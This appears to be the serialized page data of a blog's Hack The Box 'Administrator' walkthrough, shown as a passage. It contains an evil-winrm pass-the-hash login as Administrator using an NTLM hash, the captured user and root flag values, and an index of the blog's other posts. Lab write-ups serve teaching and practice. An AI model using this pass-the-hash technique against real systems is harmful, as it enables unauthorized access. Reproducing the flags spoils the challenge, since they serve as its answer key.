C:\\Users\\Administrator\\Desktop> ls\n\n    Directory: C:\\Users\\Administrator\\Desktop\n\nMode                 LastWriteTime         Length Name\n----                 -------------         ------ ----\n-ar---        11\u002F17\u002F2024  12:03 PM             34 root.txt\n\n*Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> cat root.txt\n383f762dbf31a12f114d632de874efc5\n",[30,4891,4892,4896,4903,4907,4915,4919,4957,4961,4979,4983,4997,5026,5049,5077,5081,5102,5106,5120,5134,5154,5158,5185],{"__ignoreMap":28},[33,4893,4894],{"class":35,"line":36},[33,4895,171],{"class":39},[33,4897,4898,4900],{"class":35,"line":43},[33,4899,46],{"class":39},[33,4901,4902],{"class":178}," [★]$ evil-winrm -i administrator.htb -u Administrator -H 3dc553ce4b9fd20bd016e098d2d2fd2e\n",[33,4904,4905],{"class":35,"line":53},[33,4906,2807],{"class":178},[33,4908,4909,4911,4913],{"class":35,"line":63},[33,4910,2812],{"class":39},[33,4912,2815],{"class":59},[33,4914,2818],{"class":59},[33,4916,4917],{"class":35,"line":72},[33,4918,2807],{"class":178},[33,4920,4921,4923,4925,4927,4929,4931,4933,4935,4937,4939,4941,4943,4945,4947,4949,4951,4953,4955],{"class":35,"line":79},[33,4922,2827],{"class":39},[33,4924,2830],{"class":59},[33,4926,2833],{"class":59},[33,4928,2836],{"class":59},[33,4930,934],{"class":59},[33,4932,2841],{"class":59},[33,4934,2844],{"class":59},[33,4936,1546],{"class":59},[33,4938,2849],{"class":59},[33,4940,2852],{"class":59},[33,4942,2855],{"class":59},[33,4944,2858],{"class":1393},[33,4946,2861],{"class":59},[33,4948,934],{"class":59},[33,4950,2866],{"class":59},[33,4952,490],{"class":59},[33,4954,2871],{"class":59},[33,4956,2874],{"class":59},[33,4958,4959],{"class":35,"line":88},[33,4960,2807],{"class":178},[33,4962,4963,4965,4967,4969,4971,4973,4975,4977],{"class":35,"line":93},[33,4964,2883],{"class":39},[33,4966,2886],{"class":59},[33,4968,2889],{"class":59},[33,4970,2892],{"class":59},[33,4972,2895],{"class":59},[33,4974,2898],{"class":59},[33,4976,2901],{"class":59},[33,4978,2904],{"class":59},[33,4980,4981],{"class":35,"line":99},[33,4982,2807],{"class":178},[33,4984,4985,4987,4989,4991,4993,4995],{"class":35,"line":118},[33,4986,2913],{"class":39},[33,4988,2916],{"class":59},[33,4990,2919],{"class":59},[33,4992,1546],{"class":59},[33,4994,2924],{"class":59},[33,4996,2927],{"class":59},[33,4998,4999,5001,5003,5005,5007,5009,5011,5014,5017,5019,5021,5023],{"class":35,"line":127},[33,5000,2627],{"class":1052},[33,5002,2812],{"class":178},[33,5004,2627],{"class":1052},[33,5006,2938],{"class":178},[33,5008,2941],{"class":210},[33,5010,2944],{"class":178},[33,5012,5013],{"class":210},"\\A",[33,5015,5016],{"class":178},"dministrator",[33,5018,2952],{"class":210},[33,5020,2955],{"class":178},[33,5022,2958],{"class":1052},[33,5024,5025],{"class":178}," cd ..\n",[33,5027,5028,5030,5032,5034,5036,5038,5040,5042,5044,5046],{"class":35,"line":136},[33,5029,2627],{"class":1052},[33,5031,2812],{"class":178},[33,5033,2627],{"class":1052},[33,5035,2938],{"class":178},[33,5037,2941],{"class":210},[33,5039,2944],{"class":178},[33,5041,5013],{"class":210},[33,5043,5016],{"class":178},[33,5045,2958],{"class":1052},[33,5047,5048],{"class":178}," cd Desktop\n",[33,5050,5051,5053,5055,5057,5059,5061,5063,5065,5067,5069,5072,5074],{"class":35,"line":144},[33,5052,2627],{"class":1052},[33,5054,2812],{"class":178},[33,5056,2627],{"class":1052},[33,5058,2938],{"class":178},[33,5060,2941],{"class":210},[33,5062,2944],{"class":178},[33,5064,5013],{"class":210},[33,5066,5016],{"class":178},[33,5068,2952],{"class":210},[33,5070,5071],{"class":178},"esktop",[33,5073,2958],{"class":1052},[33,5075,5076],{"class":178}," ls\n",[33,5078,5079],{"class":35,"line":355},[33,5080,76],{"emptyLinePlaceholder":75},[33,5082,5083,5086,5089,5091,5093,5095,5097,5099],{"class":35,"line":370},[33,5084,5085],{"class":39},"    Directory:",[33,5087,5088],{"class":59}," C:",[33,5090,2941],{"class":210},[33,5092,2944],{"class":59},[33,5094,5013],{"class":210},[33,5096,5016],{"class":59},[33,5098,2952],{"class":210},[33,5100,5101],{"class":59},"esktop\n",[33,5103,5104],{"class":35,"line":385},[33,5105,76],{"emptyLinePlaceholder":75},[33,5107,5108,5111,5114,5117],{"class":35,"line":409},[33,5109,5110],{"class":39},"Mode",[33,5112,5113],{"class":59},"                 LastWriteTime",[33,5115,5116],{"class":59},"         Length",[33,5118,5119],{"class":59}," Name\n",[33,5121,5122,5125,5128,5131],{"class":35,"line":440},[33,5123,5124],{"class":39},"----",[33,5126,5127],{"class":210},"                 -------------",[33,5129,5130],{"class":210},"         ------",[33,5132,5133],{"class":210}," ----\n",[33,5135,5136,5139,5142,5145,5148,5151],{"class":35,"line":457},[33,5137,5138],{"class":39},"-ar---",[33,5140,5141],{"class":59},"        11\u002F17\u002F2024",[33,5143,5144],{"class":59},"  12:03",[33,5146,5147],{"class":59}," PM",[33,5149,5150],{"class":210},"             34",[33,5152,5153],{"class":59}," root.txt\n",[33,5155,5156],{"class":35,"line":475},[33,5157,76],{"emptyLinePlaceholder":75},[33,5159,5160,5162,5164,5166,5168,5170,5172,5174,5176,5178,5180,5182],{"class":35,"line":496},[33,5161,2627],{"class":1052},[33,5163,2812],{"class":178},[33,5165,2627],{"class":1052},[33,5167,2938],{"class":178},[33,5169,2941],{"class":210},[33,5171,2944],{"class":178},[33,5173,5013],{"class":210},[33,5175,5016],{"class":178},[33,5177,2952],{"class":210},[33,5179,5071],{"class":178},[33,5181,2958],{"class":1052},[33,5183,5184],{"class":178}," cat root.txt\n",[33,5186,5187],{"class":35,"line":512},[33,5188,5189],{"class":39},"383f762dbf31a12f114d632de874efc5\n",[16,5191,5192],{},"The user flag can be found on the desktop of the user “emily”.",[20,5194,5195],{},[23,5196,5198],{"className":25,"code":5197,"language":27,"meta":28,"style":28},"*Evil-WinRM* PS C:\\Users> ls\n\n    Directory: C:\\Users\n\nMode                 LastWriteTime         Length Name\n----                 -------------         ------ ----\nd-----        10\u002F22\u002F2024  11:46 AM                Administrator\nd-----        10\u002F30\u002F2024   2:25 PM                emily\nd-----        11\u002F17\u002F2024   1:03 PM                michael\nd-----        11\u002F17\u002F2024   1:02 PM                olivia\nd-r---         10\u002F4\u002F2024  10:08 AM                Public\n\n*Evil-WinRM* PS C:\\Users> cd emily\n*Evil-WinRM* PS C:\\Users\\emily> cd Desktop\n*Evil-WinRM* PS C:\\Users\\emily\\Desktop> ls\n\n    Directory: C:\\Users\\emily\\Desktop\n\nMode                 LastWriteTime         Length Name\n----                 -------------         ------ ----\n-a----        10\u002F30\u002F2024   2:23 PM           2308 Microsoft Edge.lnk\n-ar---        11\u002F17\u002F2024  12:03 PM             34 user.txt\n\n*Evil-WinRM* PS C:\\Users\\emily\\Desktop> cat user.txt\nad11aeaef4b06af8452244f7c218f352\n",[30,5199,5200,5218,5222,5233,5237,5247,5257,5274,5289,5303,5317,5333,5337,5356,5379,5405,5409,5427,5431,5441,5451,5471,5486,5490,5517],{"__ignoreMap":28},[33,5201,5202,5204,5206,5208,5210,5212,5214,5216],{"class":35,"line":36},[33,5203,2627],{"class":1052},[33,5205,2812],{"class":178},[33,5207,2627],{"class":1052},[33,5209,2938],{"class":178},[33,5211,2941],{"class":210},[33,5213,2944],{"class":178},[33,5215,2958],{"class":1052},[33,5217,5076],{"class":178},[33,5219,5220],{"class":35,"line":43},[33,5221,76],{"emptyLinePlaceholder":75},[33,5223,5224,5226,5228,5230],{"class":35,"line":53},[33,5225,5085],{"class":39},[33,5227,5088],{"class":59},[33,5229,2941],{"class":210},[33,5231,5232],{"class":59},"sers\n",[33,5234,5235],{"class":35,"line":63},[33,5236,76],{"emptyLinePlaceholder":75},[33,5238,5239,5241,5243,5245],{"class":35,"line":72},[33,5240,5110],{"class":39},[33,5242,5113],{"class":59},[33,5244,5116],{"class":59},[33,5246,5119],{"class":59},[33,5248,5249,5251,5253,5255],{"class":35,"line":79},[33,5250,5124],{"class":39},[33,5252,5127],{"class":210},[33,5254,5130],{"class":210},[33,5256,5133],{"class":210},[33,5258,5259,5262,5265,5268,5271],{"class":35,"line":88},[33,5260,5261],{"class":39},"d-----",[33,5263,5264],{"class":59},"        10\u002F22\u002F2024",[33,5266,5267],{"class":59},"  11:46",[33,5269,5270],{"class":59}," AM",[33,5272,5273],{"class":59},"                Administrator\n",[33,5275,5276,5278,5281,5284,5286],{"class":35,"line":93},[33,5277,5261],{"class":39},[33,5279,5280],{"class":59},"        10\u002F30\u002F2024",[33,5282,5283],{"class":59},"   2:25",[33,5285,5147],{"class":59},[33,5287,5288],{"class":59},"                emily\n",[33,5290,5291,5293,5295,5298,5300],{"class":35,"line":99},[33,5292,5261],{"class":39},[33,5294,5141],{"class":59},[33,5296,5297],{"class":59},"   1:03",[33,5299,5147],{"class":59},[33,5301,5302],{"class":59},"                michael\n",[33,5304,5305,5307,5309,5312,5314],{"class":35,"line":118},[33,5306,5261],{"class":39},[33,5308,5141],{"class":59},[33,5310,5311],{"class":59},"   1:02",[33,5313,5147],{"class":59},[33,5315,5316],{"class":59},"                olivia\n",[33,5318,5319,5322,5325,5328,5330],{"class":35,"line":127},[33,5320,5321],{"class":39},"d-r---",[33,5323,5324],{"class":59},"         10\u002F4\u002F2024",[33,5326,5327],{"class":59},"  10:08",[33,5329,5270],{"class":59},[33,5331,5332],{"class":59},"                Public\n",[33,5334,5335],{"class":35,"line":136},[33,5336,76],{"emptyLinePlaceholder":75},[33,5338,5339,5341,5343,5345,5347,5349,5351,5353],{"class":35,"line":144},[33,5340,2627],{"class":1052},[33,5342,2812],{"class":178},[33,5344,2627],{"class":1052},[33,5346,2938],{"class":178},[33,5348,2941],{"class":210},[33,5350,2944],{"class":178},[33,5352,2958],{"class":1052},[33,5354,5355],{"class":178}," cd emily\n",[33,5357,5358,5360,5362,5364,5366,5368,5370,5372,5375,5377],{"class":35,"line":355},[33,5359,2627],{"class":1052},[33,5361,2812],{"class":178},[33,5363,2627],{"class":1052},[33,5365,2938],{"class":178},[33,5367,2941],{"class":210},[33,5369,2944],{"class":178},[33,5371,4546],{"class":210},[33,5373,5374],{"class":178},"mily",[33,5376,2958],{"class":1052},[33,5378,5048],{"class":178},[33,5380,5381,5383,5385,5387,5389,5391,5393,5395,5397,5399,5401,5403],{"class":35,"line":370},[33,5382,2627],{"class":1052},[33,5384,2812],{"class":178},[33,5386,2627],{"class":1052},[33,5388,2938],{"class":178},[33,5390,2941],{"class":210},[33,5392,2944],{"class":178},[33,5394,4546],{"class":210},[33,5396,5374],{"class":178},[33,5398,2952],{"class":210},[33,5400,5071],{"class":178},[33,5402,2958],{"class":1052},[33,5404,5076],{"class":178},[33,5406,5407],{"class":35,"line":385},[33,5408,76],{"emptyLinePlaceholder":75},[33,5410,5411,5413,5415,5417,5419,5421,5423,5425],{"class":35,"line":409},[33,5412,5085],{"class":39},[33,5414,5088],{"class":59},[33,5416,2941],{"class":210},[33,5418,2944],{"class":59},[33,5420,4546],{"class":210},[33,5422,5374],{"class":59},[33,5424,2952],{"class":210},[33,5426,5101],{"class":59},[33,5428,5429],{"class":35,"line":440},[33,5430,76],{"emptyLinePlaceholder":75},[33,5432,5433,5435,5437,5439],{"class":35,"line":457},[33,5434,5110],{"class":39},[33,5436,5113],{"class":59},[33,5438,5116],{"class":59},[33,5440,5119],{"class":59},[33,5442,5443,5445,5447,5449],{"class":35,"line":475},[33,5444,5124],{"class":39},[33,5446,5127],{"class":210},[33,5448,5130],{"class":210},[33,5450,5133],{"class":210},[33,5452,5453,5456,5458,5461,5463,5466,5468],{"class":35,"line":496},[33,5454,5455],{"class":39},"-a----",[33,5457,5280],{"class":59},[33,5459,5460],{"class":59},"   2:23",[33,5462,5147],{"class":59},[33,5464,5465],{"class":210},"           2308",[33,5467,1043],{"class":59},[33,5469,5470],{"class":59}," Edge.lnk\n",[33,5472,5473,5475,5477,5479,5481,5483],{"class":35,"line":512},[33,5474,5138],{"class":39},[33,5476,5141],{"class":59},[33,5478,5144],{"class":59},[33,5480,5147],{"class":59},[33,5482,5150],{"class":210},[33,5484,5485],{"class":59}," user.txt\n",[33,5487,5488],{"class":35,"line":528},[33,5489,76],{"emptyLinePlaceholder":75},[33,5491,5492,5494,5496,5498,5500,5502,5504,5506,5508,5510,5512,5514],{"class":35,"line":544},[33,5493,2627],{"class":1052},[33,5495,2812],{"class":178},[33,5497,2627],{"class":1052},[33,5499,2938],{"class":178},[33,5501,2941],{"class":210},[33,5503,2944],{"class":178},[33,5505,4546],{"class":210},[33,5507,5374],{"class":178},[33,5509,2952],{"class":210},[33,5511,5071],{"class":178},[33,5513,2958],{"class":1052},[33,5515,5516],{"class":178}," cat user.txt\n",[33,5518,5519],{"class":35,"line":560},[33,5520,5521],{"class":39},"ad11aeaef4b06af8452244f7c218f352\n",[16,5523,5524],{},"That’s it for the room.",[5526,5527,5528],"style",{},"html pre.shiki code .s59W0, html code.shiki .s59W0{--shiki-default:#FABD2F}html pre.shiki code .s-UKz, html code.shiki .s-UKz{--shiki-default:#928374;--shiki-default-font-style:italic}html pre.shiki code .sTqo2, html code.shiki .sTqo2{--shiki-default:#B8BB26}html pre.shiki code .sG605, html code.shiki .sG605{--shiki-default:#FE8019}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sM0OT, html code.shiki .sM0OT{--shiki-default:#EBDBB2}html pre.shiki code .ssIPD, html code.shiki .ssIPD{--shiki-default:#D3869B}html pre.shiki code .sM2RB, html code.shiki .sM2RB{--shiki-default:#8EC07C}html pre.shiki code .svnLg, html code.shiki .svnLg{--shiki-default:#A89984}html pre.shiki code .sBQf5, html code.shiki .sBQf5{--shiki-default:#FB4934}html pre.shiki code .sMWUE, html code.shiki .sMWUE{--shiki-default:#83A598}",{"title":28,"searchDepth":53,"depth":53,"links":5530},[5531,5532],{"id":13,"depth":43,"text":14},{"id":155,"depth":43,"text":156,"children":5533},[5534],{"id":2377,"depth":53,"text":2378},"hack-the-box","2024-11-19","Walkthrough for the \"Administrator\" Hack the Box Challenge",false,"md","\u002Fimages\u002Fposts\u002Fhack-the-box-administrator\u002Fcover.webp",{},"\u002Fposts\u002Fhack-the-box-administrator",{"title":5,"description":5537},"posts\u002Fhack-the-box-administrator","2",[5547,5548,5549],"writeup","windows","active-directory","jMR_aMdK6WnqidsiGTdf8K2_8QLuitYSfXo_LbTlmDE",[5552,5564,5574,5584,5591,5597,5605,5613,5618,5626,5632,5641,5648,5655,5662,5668,5675,5681,5687,5695,5706,5712,5714,5720,5726,5732,5738,5744,5750,5756,5762,5768,5775,5781,5787,5795,5801,5808],{"path":5553,"title":5554,"description":5555,"date":5556,"category":5557,"alsoIn":5558,"series":6,"tags":5559,"readingTime":99},"\u002Fposts\u002Fbarista","Barista: One Exe to Install Doppio and Ristretto","The 2FA series ends with two LSA components, an unsigned DLL in lsass and a dozen steps that have to happen in the right order. Barista is a wizard that does them one reboot at a time, from a single exe with every binary embedded and hash-checked.","2026-10-16","tools",[5548],[5548,5560,5561,5562,5563],"lsa","2fa","credential-provider","security",{"path":5565,"title":5566,"description":5567,"date":5568,"category":5548,"alsoIn":5569,"series":5570,"tags":5571,"readingTime":734},"\u002Fposts\u002Fwindows-2fa-gating-network-logons","Build Your Own 2FA for the Windows Logon, Part 3: Gating Network Logons","Part 2 refuses every network logon for an enrolled account, which makes the account safe and useless. Part 3 adds a gate you open once with a one-time code, so SMB, RPC and WinRM work again for a short window. In C++, with the full source.","2026-10-11",[5557],"Doppio · 3-part series",[5548,5560,5572,5573,5561,5563],"ntlm","smb",{"path":5575,"title":5576,"description":5577,"date":5578,"category":5557,"alsoIn":6,"series":6,"tags":5579,"readingTime":72},"\u002Fposts\u002Fadhardenkit","ADHardenKit: Hardening AD Without Breaking It","LDAP signing, SMB signing, NTLM, Kerberos with AES only. Every hardening checklist has them. I wrote a tool that turns them on in an order that doesn't break the domain.","2026-10-07",[5549,5580,5581,5582,5572,5583],"windows-server","powershell","hardening","kerberos",{"path":5585,"title":5586,"description":5587,"date":5588,"category":5557,"alsoIn":6,"series":6,"tags":5589,"readingTime":79},"\u002Fposts\u002Fntlm-analyzer","NTLM-Analyzer: Find Out Who Still Uses NTLM","Windows logs a lot of NTLM activity, but you have to piece it together yourself. I built a tool that shows which users and programs still use NTLMv1 or NTLMv2, and what already runs over Kerberos.","2026-10-03",[5549,5572,5583,5590,5580],"auditing",{"path":5592,"title":5593,"description":5594,"date":5595,"category":5548,"alsoIn":6,"series":5570,"tags":5596,"readingTime":672},"\u002Fposts\u002Fwindows-2fa-inside-lsa","Build Your Own 2FA for the Windows Logon, Part 2: Inside LSA","The credential provider from Part 1 only sees the logon screen. Part 2 goes into LSA to close the paths it can't reach, with an authentication package and an MSV1_0 sub-authentication filter in C++.","2026-10-01",[5548,5562,5560,5561,5563],{"path":5598,"title":5599,"description":5600,"date":5601,"category":5548,"alsoIn":5602,"series":5570,"tags":5603,"readingTime":1257},"\u002Fposts\u002Fwindows-2fa-credential-provider","Build Your Own 2FA for the Windows Logon","How a Credential Provider works and how to build a working TOTP 2FA for local Windows accounts in C++. With rate limiting, replay protection and logging.","2026-09-30",[5557],[5548,5562,5561,5604,5563],"totp",{"path":5606,"title":5607,"description":5608,"date":5609,"category":5557,"alsoIn":6,"series":6,"tags":5610,"readingTime":53},"\u002Fposts\u002Fadtierkit-active-directory-tiering","ADTierKit: Automatic AD-Tiering","I got tired of building tier models by hand, so I wrote a tool for it. One PowerShell script, one JSON file.","2026-08-06",[5549,5580,5581,5611,5612],"tiering","laps",{"path":5614,"title":5615,"description":5616,"date":5609,"category":5549,"alsoIn":6,"series":6,"tags":5617,"readingTime":127},"\u002Fposts\u002Fldap-ldaps-and-active-directory","The thing with LDAP, LDAPS and Active Directory","Why LDAPS rarely fixes what security reports worry about, why you can't just block port 389, and what actually protects LDAP in Active Directory.",[],{"path":5619,"title":5620,"description":5621,"date":5622,"category":5623,"alsoIn":6,"series":6,"tags":5624,"readingTime":53},"\u002Fposts\u002Finstall-tor-exit-node","Install Tor Exit Node","How to run a Tor exit node on an anonymously rented VPS: paying with Monero, picking the provider and the country, and installing and configuring Tor.","2025-09-30","linux",[5625],"tor",{"path":5627,"title":5628,"description":5629,"date":5630,"category":5549,"alsoIn":6,"series":6,"tags":5631,"readingTime":36},"\u002Fposts\u002Fconfigure-kerberos-armoring","Configure Kerberos Armoring","Kerberos Armoring (FAST) protects the Kerberos exchange against offline brute force, replay and tampering. How to enable it in your domain with a GPO.","2025-07-28",[5583],{"path":5633,"title":5634,"description":5635,"date":5636,"category":5637,"alsoIn":6,"series":6,"tags":5638,"readingTime":928},"\u002Fposts\u002Fexchange-2019-install","Installation guide for Exchange SE and Exchange 2019","Install Exchange Server Subscription Edition (SE) or Exchange Server 2019 step by step and harden it, with WAF rules on the Sophos XG, SPF, DMARC, DKIM and more. The installation is the same for both versions.","2025-06-26","exchange",[5637,5639,5640],"exchange-se","exchange-2019",{"path":5642,"title":5643,"description":5644,"date":5645,"category":5549,"alsoIn":6,"series":6,"tags":5646,"readingTime":99},"\u002Fposts\u002Fhow-ntlm-works-active-directory","How NTLM works in Active Directory","How NTLM proves that you know a password without sending it, what the domain controller does, the difference between NTLMv1 and NTLMv2, and why Microsoft is phasing it out.","2025-05-07",[5572,5549,5647],"authentication",{"path":5649,"title":5650,"description":5651,"date":5652,"category":5549,"alsoIn":6,"series":6,"tags":5653,"readingTime":63},"\u002Fposts\u002Fadfs-installation","ADFS Installation","Basic installation guide for Active Directory Federation Services","2025-01-27",[5654],"adfs",{"path":5656,"title":5657,"description":5658,"date":5659,"category":5549,"alsoIn":6,"series":6,"tags":5660,"readingTime":53},"\u002Fposts\u002Fexample-pass-the-hash-attack","Pass the Hash Attack Example","Example of a pass the hash attack","2025-01-22",[5661],"pass-the-hash",{"path":5663,"title":5664,"description":5665,"date":5666,"category":5549,"alsoIn":6,"series":6,"tags":5667,"readingTime":79},"\u002Fposts\u002Fhow-kerberos-works-active-directory","How Kerberos works in Active Directory","How Kerberos works in Active Directory, step by step: the TGT, the service ticket and the request to the service, and why no password crosses the network.","2025-01-16",[5583],{"path":5669,"title":5670,"description":5671,"date":5672,"category":5548,"alsoIn":6,"series":6,"tags":5673,"readingTime":53},"\u002Fposts\u002Fconfigure-credential-guard-computer-accounts","Configure Credential Guard for Computer Accounts","Windows Server 2025 can move computer account passwords into Credential Guard. How to enable it by GPO, and why turning it off means a new domain join.","2025-01-15",[5674],"credential-guard",{"path":5676,"title":5677,"description":5678,"date":5679,"category":5548,"alsoIn":6,"series":6,"tags":5680,"readingTime":63},"\u002Fposts\u002Fconfigure-credential-guard-windows","Configure Credential Guard","How Credential Guard shields NTLM hashes and Kerberos tickets, how to enable it by GPO on older clients and servers, and how to check that it runs.","2025-01-13",[5674],{"path":5682,"title":5683,"description":5684,"date":5679,"category":5548,"alsoIn":6,"series":6,"tags":5685,"readingTime":53},"\u002Fposts\u002Fosconfig-windows-server-2025-security","OSConfig - Security Settings for Windows Server 2025","OSConfig applies Microsoft's recommended security settings on Windows Server 2025 without GPOs. Install the module, list templates, enable a baseline.",[5686],"osconfig",{"path":5688,"title":5689,"description":5690,"date":5691,"category":5548,"alsoIn":6,"series":6,"tags":5692,"readingTime":53},"\u002Fposts\u002Fsecure-iis-modsecurity","Secure IIS with Modsecurity","Installation guide to secure IIS with Modsecurity","2025-01-12",[5693,5694],"iis","modsecurity",{"path":5696,"title":5697,"description":5698,"date":5699,"category":5549,"alsoIn":6,"series":6,"tags":5700,"readingTime":118},"\u002Fposts\u002Fvcsa-certificate-windows-pki","Issue VCSA Certificate with Windows PKI","Replace the self-signed vCenter (VCSA) certificate with a SubCA certificate from your Windows PKI, using the VCSA Certificate Manager and WinSCP.","2025-01-09",[5701,5702,5703,5704,5705],"ad-cs","pki","vmware","vcsa","vcenter",{"path":5707,"title":5708,"description":5709,"date":5710,"category":5549,"alsoIn":6,"series":6,"tags":5711,"readingTime":767},"\u002Fposts\u002Fwindows-pki-installation","Installation guide for a Windows PKI","Step-by-step guide for a two-tier Windows PKI with root CA, sub CA and a separate CRL server, plus certificate templates, OCSP and web enrollment.","2024-12-20",[5701,5702],{"path":5542,"title":5,"description":5537,"date":5536,"category":5535,"alsoIn":6,"series":6,"tags":5713,"readingTime":118},[5547,5548,5549],{"path":5715,"title":5716,"description":5717,"date":5718,"category":5549,"alsoIn":6,"series":6,"tags":5719,"readingTime":43},"\u002Fposts\u002Fsecure-active-directory-part-1","Secure Active Directory - Part 1","Part 1 of the guide to a secure Active Directory","2024-09-09",[],{"path":5721,"title":5722,"description":5723,"date":5724,"category":5535,"alsoIn":6,"series":6,"tags":5725,"readingTime":136},"\u002Fposts\u002Fhack-the-box-greenhorn","Hack The Box: Greenhorn","Walkthrough for the \"Greenhorn\" Hack the Box Challenge","2024-07-24",[5547,5623],{"path":5727,"title":5728,"description":5729,"date":5730,"category":5535,"alsoIn":6,"series":6,"tags":5731,"readingTime":99},"\u002Fposts\u002Fhack-the-box-runner","Hack The Box: Runner","Walkthrough for the \"Runner\" Hack the Box Challenge","2024-07-20",[5547,5623],{"path":5733,"title":5734,"description":5735,"date":5736,"category":5535,"alsoIn":6,"series":6,"tags":5737,"readingTime":36},"\u002Fposts\u002Fhack-the-box-ghost","Hack The Box: Ghost","Walkthrough for the \"Ghost\" Hack the Box Challenge","2024-07-18",[5547,5548,5549],{"path":5739,"title":5740,"description":5741,"date":5742,"category":5535,"alsoIn":6,"series":6,"tags":5743,"readingTime":88},"\u002Fposts\u002Fhack-the-box-knife","Hack The Box: Knife","Walkthrough for the \"Knife\" Hack the Box Challenge","2024-07-15",[5547,5623],{"path":5745,"title":5746,"description":5747,"date":5748,"category":5535,"alsoIn":6,"series":6,"tags":5749,"readingTime":53},"\u002Fposts\u002Fhack-the-box-broker","Hack The Box: Broker","Walkthrough for the \"Broker\" Hack the Box Challenge","2024-07-10",[5547,5623],{"path":5751,"title":5752,"description":5753,"date":5754,"category":5535,"alsoIn":6,"series":6,"tags":5755,"readingTime":36},"\u002Fposts\u002Fhack-the-box-permx","Hack The Box: PermX","Walkthrough zur \"PermX\" Hack the Box Challenge","2024-07-08",[5547,5623],{"path":5757,"title":5758,"description":5759,"date":5760,"category":5535,"alsoIn":6,"series":6,"tags":5761,"readingTime":53},"\u002Fposts\u002Fhack-the-box-lame","Hack The Box: Lame","Walkthrough zur \"Lame\" Hack the Box Challenge","2024-07-06",[5547,5623],{"path":5763,"title":5764,"description":5765,"date":5766,"category":5535,"alsoIn":6,"series":6,"tags":5767,"readingTime":63},"\u002Fposts\u002Fhack-the-box-analytics","Hack The Box: Analytics","Walkthrough zur \"Analytics\" Hack the Box Challenge","2024-06-30",[5547,5623],{"path":5769,"title":5770,"description":5771,"date":5772,"category":5535,"alsoIn":6,"series":6,"tags":5773,"readingTime":72},"\u002Fposts\u002Fhack-the-box-sense","Hack The Box: Sense","Walkthrough zur \"Sense\" Hack the Box Challenge","2024-06-28",[5547,5774],"freebsd",{"path":5776,"title":5777,"description":5778,"date":5779,"category":5535,"alsoIn":6,"series":6,"tags":5780,"readingTime":127},"\u002Fposts\u002Fhack-the-box-mailing","Hack The Box: Mailing","Walkthrough zur \"Mailing\" Hack the Box Challenge","2024-06-26",[5547,5548],{"path":5782,"title":5783,"description":5784,"date":5785,"category":5535,"alsoIn":6,"series":6,"tags":5786,"readingTime":53},"\u002Fposts\u002Fhack-the-box-jerry","Hack The Box: Jerry","Walkthrough zur \"Jerry\" Hack the Box Challenge","2024-06-20",[5547,5548],{"path":5788,"title":5789,"description":5790,"date":5791,"category":5623,"alsoIn":6,"series":6,"tags":5792,"readingTime":36},"\u002Fposts\u002Flinux-ssh-telegram-notifications","Setting up notifications via Telegram for SSH login\u002Flogoff","Get a Telegram message every time someone logs in to or out of your Linux server over SSH, with a Telegram bot, a small script and PAM.","2024-06-01",[5793,5794],"ssh","monitoring",{"path":5796,"title":5797,"description":5798,"date":5799,"category":5535,"alsoIn":6,"series":6,"tags":5800,"readingTime":385},"\u002Fposts\u002Fhack-the-box-forest","Hack The Box: Forest","Walkthrough zur \"Forest\" Hack the Box Challenge","2024-05-20",[5547,5548,5549],{"path":5802,"title":5803,"description":5804,"date":5805,"category":5637,"alsoIn":6,"series":6,"tags":5806,"readingTime":36},"\u002Fposts\u002Fpowershell-connect-to-exchange-online","Verbindung zu Exchange Online mit Powershell","Wie man sich mit PowerShell mit Exchange Online verbindet: das Modul ExchangeOnlineManagement installieren, aktuell halten und die Verbindung herstellen.","2023-10-23",[5807,5581],"m365",{"path":5809,"title":5810,"description":5811,"date":5812,"category":5637,"alsoIn":6,"series":6,"tags":5813,"readingTime":36},"\u002Fposts\u002Fexchange-october-2023-updates","Exchange Server","Neue Sicherheitsupdates (Oktober 2023)","2023-10-18",[],1792195052370]